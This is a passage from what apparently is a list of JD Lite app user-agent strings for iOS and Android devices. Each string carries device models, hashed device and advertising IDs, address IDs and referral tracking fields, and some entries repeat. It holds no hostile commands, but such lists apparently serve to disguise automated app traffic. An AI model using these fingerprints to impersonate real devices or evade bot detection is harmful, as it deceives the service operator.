'jdltapp;iPhone;3.1.0;14.4;4e6b46913a2e18dd06d6d69843ee4cdd8e033bc1;network/3g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,2;addressid/666624049;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/54.11;apprpd/MessageCenter_MessageMerge;ref/MessageCenterController;psq/10;ads/;psn/4e6b46913a2e18dd06d6d69843ee4cdd8e033bc1|101;jdv/0|kong|t_2010804675_|jingfen|810dab1ba2c04b8588c5aa5a0d44c4bd|1614183499;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.2;c71b599e9a0bcbd8d1ad924d85b5715530efad06;network/wifi;ADID/751C6E92-FD10-4323-B37C-187FD0CF0551;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,8;addressid/4053561885;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/263.8;apprpd/;ref/JDLTSubMainPageViewController;psq/2;ads/;psn/c71b599e9a0bcbd8d1ad924d85b5715530efad06|481;jdv/0|kong|t_1001610202_|jingfen|3911bea7ee2f4fcf8d11fdf663192bbe|1614157052210|1614157056;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.2;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;2d306ee3cacd2c02560627a5113817ebea20a2c9;network/4g;ADID/A346F099-3182-4889-9A62-2B3C28AB861E;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,3;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/;pv/1.35;apprpd/Allowance_Registered;ref/JDLTTaskCenterViewController;psq/0;ads/;psn/2d306ee3cacd2c02560627a5113817ebea20a2c9|2;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;28355aff16cec8bcf3e5728dbbc9725656d8c2c2;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,2;addressid/833058617;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.10;apprpd/;ref/JDLTWebViewController;psq/9;ads/;psn/28355aff16cec8bcf3e5728dbbc9725656d8c2c2|5;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;13.5;24ddac73a3de1b91816b7aedef53e97c4c313733;network/4g;ADID/598C6841-76AC-4512-AA97-CBA940548D70;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone11,6;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/12.6;apprpd/;ref/JDLTSubMainPageViewController;psq/5;ads/;psn/24ddac73a3de1b91816b7aedef53e97c4c313733|23;jdv/0|kong|t_1000170135|tuiguang|notset|1614126110904|1614126110;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;d7732ba60c8ff73cc3f5ba7290a3aa9551f73a1b;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone12,1;addressid/25239372;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/8.6;apprpd/;ref/JDLTSubMainPageViewController;psq/5;ads/;psn/d7732ba60c8ff73cc3f5ba7290a3aa9551f73a1b|14;jdv/0|kong|t_1001226363_|jingfen|5713234d1e1e4893b92b2de2cb32484d|1614182989528|1614182992;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;ca1a32afca36bc9fb37fd03f18e653bce53eaca5;network/wifi;ADID/3AF380AB-CB74-4FE6-9E7C-967693863CA3;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone8,1;addressid/138323416;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/72.12;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/ca1a32afca36bc9fb37fd03f18e653bce53eaca5|109;jdv/0|kong|t_1000536212_|jingfen|c82bfa19e33a4269a5884ffc614790f4|1614141246;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.1.0;10;7346933333666353-8333366646039373;network/wifi;model/ONEPLUS A5010;addressid/138117973;aid/7d933f6583cfd097;oaid/;osVer/29;appBuild/1436;psn/T/eqfRSwp8VKEvvXyEunq09Cg2MUkiQ5|17;psq/4;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 10;osv/10;pv/11.4;jdv/0|kong|t_1001849073_|jingfen|495a47f6c0b8431c9d460f61ad2304dc|1614084403978|1614084407;ref/HomeFragment;partner/oppo;apprpd/Home_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; ONEPLUS A5010 Build/QKQ1.191014.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;android;3.1.0;11;4626269356736353-5353236346334673;network/wifi;model/M2006J10C;addressid/0;aid/dbb9e7655526d3d7;oaid/66a7af49362987b0;osVer/30;appBuild/1436;psn/rQRQgJ 4 S3qkq8YDl28y6jkUHmI/rlX|3;psq/4;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 11;osv/11;pv/3.4;jdv/;ref/HomeFragment;partner/xiaomi;apprpd/Home_Main;eufv/1;Mozilla/5.0 (Linux; Android 11; M2006J10C Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045513 Mobile Safari/537.36', + 'jdltapp;iPhone;3.1.0;14.4;78fc1d919de0c8c2de15725eff508d8ab14f9c82;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,1;addressid/137829713;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/23.11;apprpd/;ref/JDLTSubMainPageViewController;psq/10;ads/;psn/78fc1d919de0c8c2de15725eff508d8ab14f9c82|34;jdv/0|iosapp|t_335139774|appshare|Wxfriends|1612508702380|1612534293;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.1.0;10;0373263343266633-5663030363465326;network/wifi;model/Redmi Note 7;addressid/590846082;aid/07b34bf3e6006d5b;oaid/17975a142e67ec92;osVer/29;appBuild/1436;psn/OHNqtdhQKv1okyh7rB3HxjwI00ixJMNG|4;psq/3;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 10;osv/10;pv/2.3;jdv/;ref/activityId=8a8fabf3cccb417f8e691b6774938bc2;partner/xiaomi;apprpd/jsbqd_home;eufv/1;Mozilla/5.0 (Linux; Android 10; Redmi Note 7 Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.152 Mobile Safari/537.36', + 'jdltapp;android;3.1.0;10;3636566623663623-1693635613166646;network/wifi;model/ASUS_I001DA;addressid/1397761133;aid/ccef2fc2a96e1afd;oaid/;osVer/29;appBuild/1436;psn/T8087T0D82PHzJ4VUMGFrfB9dw4gUnKG|76;psq/5;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 10;osv/10;pv/73.5;jdv/0|kong|t_1002354188_|jingfen|2335e043b3344107a2750a781fde9a2e#/|1614097081426|1614097087;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/yingyongbao;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; ASUS_I001DA Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;iPhone;3.1.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,2;addressid/138419019;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/5.7;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/6;ads/;psn/4ee6af0db48fd605adb69b63f00fcbb51c2fc3f0|9;jdv/0|direct|-|none|-|1613705981655|1613823229;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.3;network/wifi;ADID/F9FD7728-2956-4DD1-8EDD-58B07950864C;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,1;addressid/1346909722;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/30.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/40d4d4323eb3987226cae367d6b0d8be50f2c7b3|39;jdv/0|kong|t_1000252057_0|tuiguang|eba7648a0f4445aa9cfa6f35c6f36e15|1613995717959|1613995723;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;network/wifi;ADID/5D306F0D-A131-4B26-947E-166CCB9BFFFF;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,6;addressid/138164461;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/7.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/d40e5d4a33c100e8527f779557c347569b49c304|7;jdv/0|kong|t_1001226363_|jingfen|3bf5372cb9cd445bbb270b8bc9a34f00|1608439066693|1608439068;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPad;3.1.0;14.5;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPad8,9;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/;pv/1.20;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/5;ads/;psn/d9f5ddaa0160a20f32fb2c8bfd174fae7993c1b4|3;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.5;Mozilla/5.0 (iPad; CPU OS 14_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.3;network/wifi;ADID/31548A9C-8A01-469A-B148-E7D841C91FD0;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/10.5;apprpd/;ref/JDLTSubMainPageViewController;psq/4;ads/;psn/a858fb4b40e432ea32f80729916e6c3e910bb922|12;jdv/0|direct|-|none|-|1613898710373|1613898712;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;13.5;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/2237496805;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/13.6;apprpd/;ref/JDLTSubMainPageViewController;psq/5;ads/;psn/48e495dcf5dc398b4d46b27e9f15a2b427a154aa|15;jdv/0|direct|-|none|-|1613354874698|1613952828;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.1.0;10;3346332626262353-1666434336539336;network/wifi;model/ONEPLUS A6000;addressid/0;aid/3d3bbb25af44c59c;oaid/;osVer/29;appBuild/1436;psn/ECbc2EqmdSa7mDF1PS1GSrV/Tn7R1LS1|6;psq/8;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 10;osv/10;pv/2.67;jdv/0|direct|-|none|-|1613822479379|1613991194;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/oppo;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; ONEPLUS A6000 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;android;3.1.0;8.1.0;8363834353530333132333132373-43D2930366035323639333662383;network/wifi;model/16th Plus;addressid/0;aid/f909e5f2c464c7c6;oaid/;osVer/27;appBuild/1436;psn/c21YWvVr77Hn6 pOZfxXGY4TZrre1 UOL5hcPbCEDMo=|3;psq/10;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 8.1.0;osv/8.1.0;pv/2.15;jdv/;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/jsxdlyqj09;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 8.1.0; 16th Plus Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045514 Mobile Safari/537.36', + 'jdltapp;android;3.1.0;11;1343467336264693-3343562673463613;network/wifi;model/Mi 10 Pro;addressid/0;aid/14d7cbd934eb7dc1;oaid/335f198546eb3141;osVer/30;appBuild/1436;psn/ZcQh/Wov sNYfZ6JUjTIUBu28 KT0T3u|1;psq/24;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 11;osv/11;pv/1.24;jdv/;ref/com.jd.jdlite.lib.jdlitemessage.view.activity.MessageCenterMainActivity;partner/xiaomi;apprpd/MessageCenter_MessageMerge;eufv/1;Mozilla/5.0 (Linux; Android 11; Mi 10 Pro Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36', + 'jdltapp;android;3.1.0;10;8353636393732346-6646931673935346;network/wifi;model/MI 8;addressid/1969998059;aid/8566972dfd9a795d;oaid/4a8b773c3e307386;osVer/29;appBuild/1436;psn/PhYbUtCsCJo r 1b8hwxjnY8rEv5S8XC|383;psq/14;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 10;osv/10;pv/374.14;jdv/0|iosapp|t_335139774|liteshare|CopyURL|1609306590175|1609306596;ref/com.jd.jdlite.lib.jdlitemessage.view.activity.MessageCenterMainActivity;partner/jsxdlyqj09;apprpd/MessageCenter_MessageMerge;eufv/1;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;iPhone;3.1.0;14.4;6d343c58764a908d4fa56609da4cb3a5cc1396d3;network/wifi;ADID/4965D884-3E61-4C4E-AEA7-9A8CE3742DA7;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;13.6.1;4606ddccdfe8f343f8137de7fea7f91fc4aef3a3;network/4g;ADID/C6FB6E20-D334-45FA-818A-7A4C58305202;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone10,1;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/5.9;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/8;ads/;psn/4606ddccdfe8f343f8137de7fea7f91fc4aef3a3|5;jdv/0|iosapp|t_335139774|liteshare|Qqfriends|1614206359106|1614206366;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 13.6.1;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;3b6e79334551fc6f31952d338b996789d157c4e8;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,1;addressid/138051400;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/14.34;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/12;ads/;psn/3b6e79334551fc6f31952d338b996789d157c4e8|46;jdv/0|kong|t_1001707023_|jingfen|e80d7173a4264f4c9a3addcac7da8b5d|1613837384708|1613858760;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.1.0;10;1346235693831363-2373837393932673;network/wifi;model/LYA-AL00;addressid/3321567203;aid/1d2e9816278799b7;oaid/00000000-0000-0000-0000-000000000000;osVer/29;appBuild/1436;psn/45VUZFTZJkhP5fAXbeBoQ0 O2GCB I|7;psq/5;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 10;osv/10;pv/5.8;jdv/0|iosapp|t_335139774|liteshare|CopyURL|1614066210320|1614066219;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/huawei;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; LYA-AL00 Build/HUAWEILYA-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/83.0.4103.106 Mobile Safari/537.36', + 'jdltapp;iPhone;3.1.0;14.3;c2a8854e622a1b17a6c56c789f832f9d78ef1ba7;network/wifi;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone12,5;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/3.9;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/8;ads/;psn/c2a8854e622a1b17a6c56c789f832f9d78ef1ba7|6;jdv/0|direct|-|none|-|1613541016735|1613823566;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.1.0;9;;network/wifi;model/MIX 2S;addressid/;aid/f87efed6d9ed3c65;oaid/94739128ef9dd245;osVer/28;appBuild/1436;psn/R7wD/OWkQjYWxax1pDV6kTIDFPJCUid7C/nl2hHnUuI=|3;psq/13;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 9;osv/9;pv/1.42;jdv/;ref/activityId=8a8fabf3cccb417f8e691b6774938bc2;partner/xiaomi;apprpd/jsbqd_home;eufv/1;Mozilla/5.0 (Linux; Android 9; MIX 2S Build/PKQ1.180729.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36', + 'jdltapp;iPhone;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.1.0;10;network/wifi;Mozilla/5.0 (Linux; Android 10; Redmi Note 7 Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.152 Mobile Safari/537.36', + 'jdltapp;iPhone;3.1.0;14.4;network/3g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148', + 'jdltapp;iPad;3.1.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPad6,3;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/231.11;pap/JA2020_3112531|3.1.0|IOS 14.4;apprpd/;psn/f5e7b7980fb50efc9c294ac38653c1584846c3db|305;usc/kong;jdv/0|kong|t_1000170135|tuiguang|notset|1613606450668|1613606450;umd/tuiguang;psq/2;ucp/t_1000170135;app_device/IOS;utr/notset;ref/JDLTRedPacketViewController;adk/;ads/;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;13.5;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone8,1;addressid/669949466;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/9.11;apprpd/;ref/JDLTSubMainPageViewController;psq/10;ads/;psn/500a795cb2abae60b877ee4a1930557a800bef1c|11;jdv/;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.3;network/3g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,4;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.47;apprpd/;ref/JDLTSubMainPageViewController;psq/8;ads/;psn/21631ed983b3e854a3154b0336413825ad0d6783|9;jdv/0|direct|-|none|-|1614150725100|1614225882;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.3;network/3g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,4;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.47;apprpd/;ref/JDLTSubMainPageViewController;psq/8;ads/;psn/21631ed983b3e854a3154b0336413825ad0d6783|9;jdv/0|direct|-|none|-|1614150725100|1614225882;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/3.15;apprpd/;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fchat%2Findex.action%3Fentry%3Djd_m_JiSuCommodity%26pid%3D7763388%26lng%3D118.159665%26lat%3D24.504633%26sid%3D31cddc2d58f6e36bf2c31c4e8a79767w%26un_area%3D16_1315_3486_0;psq/12;ads/;psn/c10e0db6f15dec57a94637365f4c3d43e05bbd48|4;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/3.15;apprpd/;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fchat%2Findex.action%3Fentry%3Djd_m_JiSuCommodity%26pid%3D7763388%26lng%3D118.159665%26lat%3D24.504633%26sid%3D31cddc2d58f6e36bf2c31c4e8a79767w%26un_area%3D16_1315_3486_0;psq/12;ads/;psn/c10e0db6f15dec57a94637365f4c3d43e05bbd48|4;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/3.15;apprpd/;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fchat%2Findex.action%3Fentry%3Djd_m_JiSuCommodity%26pid%3D7763388%26lng%3D118.159665%26lat%3D24.504633%26sid%3D31cddc2d58f6e36bf2c31c4e8a79767w%26un_area%3D16_1315_3486_0;psq/12;ads/;psn/c10e0db6f15dec57a94637365f4c3d43e05bbd48|4;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,6;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/2813715704;pv/67.38;apprpd/MyJD_Main;ref/https%3A%2F%2Fh5.m.jd.com%2FbabelDiy%2FZeus%2F2ynE8QDtc2svd36VowmYWBzzDdK6%2Findex.html%3Flng%3D103.957532%26lat%3D30.626962%26sid%3D4fe8ef4283b24723a7bb30ee87c18b2w%26un_area%3D22_1930_49324_52512;psq/4;ads/;psn/5aef178f95931bdbbde849ea9e2fc62b18bc5829|127;jdv/0|direct|-|none|-|1612588090667|1613822580;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.3;;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.3;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 